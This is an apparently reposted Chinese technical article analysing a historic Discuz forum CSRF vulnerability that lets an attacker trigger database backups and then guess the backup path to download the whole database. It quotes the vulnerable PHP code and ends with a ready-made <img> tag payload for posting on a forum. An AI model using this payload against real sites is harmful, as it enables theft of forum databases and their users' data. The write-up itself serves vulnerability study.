返回介绍

Discuz CSRF 备份拖库分析

发布于 2024-10-11 22:07:43 字数 2007 浏览 0 评论 0 收藏 0

下面我们来分析一个 Discuz CSRF 可以直接脱裤的漏洞,这个漏洞影响非常大,漏洞在刚公开的时候导致了大量的 Discuz 论坛被拖库,漏洞来源乌云缺陷编号:WooYun-2014-64886,作者是跟笔者同一个 team(safekey)的 matt。

漏洞文件在 source/admincp/admincp_db.php 第 30 行开始:

if (! $backupdir ) {$backupdir = random ( 6 ); @mkdir ( './data/backup_'.$backupdir , 0777 );  

// 文件夹名是六位随机数 C :: t ( 'common_setting' ) ->update ( 'backupdir' , $backupdir ); /} else {

// 这边也没有做 fromhash 的验证 DB :: query ( 'SET SQL_QUOTE_SHOW_CREATE=0' , 'SILENT' ); if (! $_GET['filename'] || ! preg_match ( '/^[\w\_]+$/' , $_GET['filename'] )) {    cpmsg ( 'database_export_filename_invalid' , '' , 'error' );     }/* 省略,往下走 */$backupfilename = './data/'.$backupdir.'/'.str_replace ( array ( '/' , '\\' , '.' , "'" ), '' , $_GET['filename'] ); // 文件名从 $_GET['filename'] )获取,可控     if ( $_GET['usezip'] ) {     require_once './source/class/class_zip.php' ;     }    if ( $_GET['method'] == 'multivol' ) {     $sqldump = '' ;    $tableid = intval ( $_GET['tableid'] );    $startfrom = intval ( $_GET['startfrom'] );    if (! $tableid && $volume == 1 ) {    foreach ( $tables as $table ) {

     $sqldump .= sqldumptablestruct ( $table ); 

     }     }    $complete = TRUE ;     for (; $complete && $tableid < count ( $tables ) && strlen ( $sqldump ) + 500 < $_GET ['sizelimit'] * 1000 ; $tableid++ ) {     $sqldump .= sqldumptable ( $tables[$tableid] , $startfrom , strlen ( $sqldump ));    if ( $complete ) {    $startfrom = 0 ;    }    }    $dumpfile = $backupfilename."-%s".'.sql' ; //$dumpfile 为最终导出文件名,下面的代码是写文件

在这个漏洞中,由于表名和文件都是直接 GET 提交的,目录名由一个固定的 backup 加上一个六位数字组成,备份成功后可以直接爆破,最终利用可以直接在论坛发帖加入下面代码即可:

<img src="http : //127.0.0.1/discuz/admin.php?action=db&operation=export&setup=1&scrolltop=&anchor=&type=custom&customtables%5B%5D={ 表名 }&method=multivol&sizelimit=2048&extendins=0&sqlcompat=&usehex=1&usezip=0&filename={ 文件名 }&exportsubmit=%CC%E1%BD%BB22">

利用截图,如图 4-9 所示。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据
    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文